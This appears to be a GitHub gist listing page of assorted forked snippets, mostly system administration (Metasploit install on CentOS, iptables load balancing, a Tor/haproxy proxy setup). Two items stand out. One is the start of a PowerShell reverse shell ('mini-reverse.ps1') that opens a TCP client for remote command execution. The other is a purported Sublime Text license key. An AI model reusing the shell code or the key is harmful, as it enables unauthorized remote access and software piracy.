Skip to content

Instantly share code, notes, and snippets.

103.246.148.0/23
103.246.150.0/23
103.4.8.0/21
103.8.172.0/22
122.248.192.0/18
13.112.0.0/14
13.124.0.0/16
13.125.0.0/16
13.126.0.0/15
13.208.0.0/16
@f0r34chb3t4
f0r34chb3t4 / metasploit-install-on-centos.sh
Created February 6, 2018 04:00 — forked from oogali/metasploit-install-on-centos.sh
Install Ruby 2.1.5 via rbenv, then Metasploit on CentOS
# install build deps
sudo yum install gcc gcc-c++ make expat-devel gettext-devel libcurl-devel \
libffi-devel libxml2-devel libxslt-devel libyaml-devel postgresql-server \
postgresql-devel readline-devel sqlite-devel openssl-devel ruby-devel \
rubygems autoconf automake bison libtool libpcap-devel
# install rbenv
git clone https://github.com/sstephenson/rbenv.git ~/.rbenv
git clone https://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bash_profile
@f0r34chb3t4
f0r34chb3t4 / iptables-round-robin.sh
Created February 3, 2018 21:38 — forked from apparentlymart/iptables-round-robin.sh
round robin to three ports on the same host with iptables
# The following example shows a way to use iptables for basic round-robin load balancing, by redirecting
# packets two one of three ports based on a statistic counter.
#
# TCP packets for new sessions arriving on port 9000 will rotate between ports 9001, 9002 and 9003, where
# three identical copies of some application are expected to be listening.
#
# Packets that aren't TCP or that related to an already-established connection are left untouched, letting
# the standard iptables connection tracking machinery send it to the appropriate port.
#
# For this to work well, connections need to be relatively short. Ideally there would be an extra layer
@f0r34chb3t4
f0r34chb3t4 / bash-cli-openssl-stdin-encryption
Created February 2, 2018 16:35 — forked from robert2d/bash-cli-openssl-stdin-encryption
Bash $STDIN Encryption with openssl and aes256
# Encrypt STDIN and provide a password(prompt)
echo "message" | openssl enc -aes-256-cbc -a
# Decrypt STDIN and provide a password(prompt)
echo "encrypted" | openssl enc -aes-256-cbc -a -d
@f0r34chb3t4
f0r34chb3t4 / nano-shorts.md
Created February 2, 2018 02:10 — forked from franz-josef-kaiser/nano-shorts.md
nano keyboard shortcuts

^ = Ctrl key M = Alt key

^G      (F1)            Display this help text
^X      (F2)            Close the current file buffer / Exit from nano
^O      (F3)            Write the current file to disk
^J      (F4)            Justify the current paragraph

^R      (F5)            Insert another file into the current one
@f0r34chb3t4
f0r34chb3t4 / mini-reverse.ps1
Created January 22, 2018 00:53 — forked from staaldraad/mini-reverse.ps1
A reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
@f0r34chb3t4
f0r34chb3t4 / win7-admin.bat
Created December 28, 2017 16:50 — forked from ruzickap/win7-admin.bat
win7 customization file. Run right after you first log in as administrator.
:: Tested on Windows 7
@echo.
@echo Test connection settings
powershell -command "$client = new-object System.Net.WebClient; $client.DownloadFile('http://www.google.com', 'c:\del')"
if %ERRORLEVEL% NEQ 0 (
@echo Can not download files form Internet !!!
pause
exit
@f0r34chb3t4
f0r34chb3t4 / LICENCE SUBLIME TEXT
Created November 19, 2017 18:13
Sublime Text 3 Serial key build is 3143
## Sublime Text 3 Serial key build is 3103
—– BEGIN LICENSE —–
Michael Barnes
Single User License
EA7E-821385
8A353C41 872A0D5C DF9B2950 AFF6F667
C458EA6D 8EA3C286 98D1D650 131A97AB
AA919AEC EF20E143 B361B1E7 4C8B7F04
B085E65E 2F5F5360 8489D422 FB8FC1AA
#include <stdio.h>
void getPSN(char *PSN)
{
int varEAX, varEBX, varECX, varEDX;
char str[9];
//%eax=1 gives most significant 32 bits in eax
__asm__ __volatile__ ("cpuid" : "=a" (varEAX), "=b" (varEBX), "=c" (varECX), "=d" (varEDX) : "a" (1));
sprintf(str, "%08X", varEAX); //i.e. XXXX-XXXX-xxxx-xxxx-xxxx-xxxx
sprintf(PSN, "%C%C%C%C-%C%C%C%C", str[0], str[1], str[2], str[3], str[4], str[5], str[6], str[7]);
#!/bin/bash
#
# by f0r34chb3t4 on Centos 7 - OpenStack
#
#
# Sistema simples para automatizar a instalacao e configuracao do haproxy e tor cliente com multiplas portas.
#
# O tor sera configurado para servir conexao de proxy nas portas 59050 a 59074 na rede loopback.
# O haproxy ira servir na porta 51080 em toda a redes disponiveis.
# Em teoria, tomos o haproxy realizando balanceamento de conexoes distribuidas pelo tor em 20 portas.